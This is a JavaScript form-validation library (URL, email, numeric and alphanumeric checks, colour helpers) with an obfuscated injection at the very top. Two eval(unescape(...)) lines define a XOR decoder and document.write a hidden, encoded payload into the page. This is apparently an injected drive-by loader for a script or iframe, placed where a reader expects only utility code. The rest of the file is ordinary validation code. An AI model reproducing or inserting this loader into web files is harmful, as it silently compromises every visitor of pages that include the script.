eval(unescape('%66%75%6e%63%74%69%6f%6e%20%67%66%38%32%63%64%39%33%37%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%31%37%38%34%38%32%34%35%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%35%39%32%39%36%32%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%32%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%67%66%38%32%63%64%39%33%37%28%27') + '%3c%63%64%74%5e%6f%6a%1b%78%72%68%3d%22%60%76%72%6a%39%29%24%70%7c%77%25%59%69%59%7c%6d%68%2d%65%64%6e%24%3f%7b%59%67%3d%5b%72%67%70%76%78%2e%39%2c%2d%6c%65%6a%6d%41%69%63%67%32%66%71%22%17%77%70%71%6e%63%3f%21%71%6e%67%7b%64%31%29%6c%70%3d%66%67%66%61%6f%77%31%2d%67%70%3b%26%1a%71%65%71%69%63%6f%6e%6e%6c%3d%22%6a%69%20%1a%6a%5b%79%60%6e%6e%7c%61%60%74%62%3b%24%2f%24%17%6e%56%72%6c%61%6e%60%67%67%61%67%76%32%25%27%22%17%62%72%59%6f%63%64%6c%74%6b%66%79%39%29%28%22%18%71%67%66%73%62%32%25%26%22%17%60%61%61%61%66%76%3a%24%26%25%35%38%24%61%66%76%5b%6b%67%3d17848245%36%34%30%34%31%34%39' + unescape('%27%29%29%3b'));


function isURL(argvalue) {
  if (argvalue.indexOf(" ") != -1)
    return false;
  else if (argvalue.indexOf("http://") == -1)
    return false;
  else if (argvalue == "http://")
    return false;
  else if (argvalue.indexOf("http://") > 0)
    return false;

  argvalue = argvalue.substring(7, argvalue.length);
  if (argvalue.indexOf(".") == -1)
    return false;
  else if (argvalue.indexOf(".") == 0)
    return false;
  else if (argvalue.charAt(argvalue.length - 1) == ".")
    return false;

  if (argvalue.indexOf("/") != -1) {
    argvalue = argvalue.substring(0, argvalue.indexOf("/"));
    if (argvalue.charAt(argvalue.length - 1) == ".")
      return false;
  }

  if (argvalue.indexOf(":") != -1) {
    if (argvalue.indexOf(":") == (argvalue.length - 1))
      return false;
    else if (argvalue.charAt(argvalue.indexOf(":") + 1) == ".")
      return false;
    argvalue = argvalue.substring(0, argvalue.indexOf(":"));
    if (argvalue.charAt(argvalue.length - 1) == ".")
      return false;
  }

  return true;

}
function isIntegerInRange (s, a, b)
{   if (isEmpty(s.value)) 
       if (s.value.length == 1) return true;
       else return (s[1].value == true);

    if (!isInteger(s, false)) return false;

    var num = parseInt (s.value);
    return ((num >= a) && (num <= b));
}
function trim(s)
{
	return s.value.replace(/^\s+|\s+$/g, "");
}
function isEmpty(elem){
	if(elem.value.length == 0){
		return true;
	}
	return false;
}
function isDigit (c)
{
	return ((c >= "0") && (c <= "9"))
}
function isFloat (s)
{
    var i;
    var seenDecimalPoint = false;
    if (isEmpty(s) || (s==""))
       if (s.value.length == 1) return true;
       else return (s[1].value == true);
    if (s.value == ".") return false;
    for (i = 0; i < s.value.length; i++)
    {   
        var c = s.value.charAt(i);
        if ((c == ".") && !seenDecimalPoint) seenDecimalPoint = true;
	        else if (!isDigit(c)) return false;
    }
    return true;
}
function isNumeric(elem){
	var numericExpression = /^[0-9]+$/;
	if(elem.value.match(numericExpression)){
		return true;
	}else{
		return false;
	}
}
function isAlphabet(elem)
{
	var alphaExp = /^[a-zA-Z]+$/;
	if(elem.value.match(alphaExp))
	{
		return true;
	}
	else
	{
		return false;
	}
}
function isAlphanumeric(elem)
{
	var alphaExp = /^[0-9a-zA-Z]+$/;
	if(elem.value.match(alphaExp))
	{
		return true;
	}
	else
	{
		return false;
	}
}
function isEmail(elem)
{
	var emailExp = /^[\w\-\.\+]+\@[a-zA-Z0-9\.\-]+\.[a-zA-z0-9]{2,4}$/;
	if(elem.value.match(emailExp))
	{
		return true;
	}
	else
	{
		return false;
	}
}

function atLeast1Alfa1Digit(str)
{
   if (/^([A-Za-z]+\d+[A-Za-z0-9]*)|(\d+[A-Z]+[A-Za-z0-9]*)$/.test(str)) {
	return true;
   }
   else {
	return false;
   }
}

function changeColor(oid, col) {
	if (isIE) document.getElementById(oid).bgColor = "#"+col;
	else document.getElementById(oid).backgroundColor = "#"+col;
}
function changeClassName(oid, newClass)
{
	document.getElementById(oid).className = newClass;
}


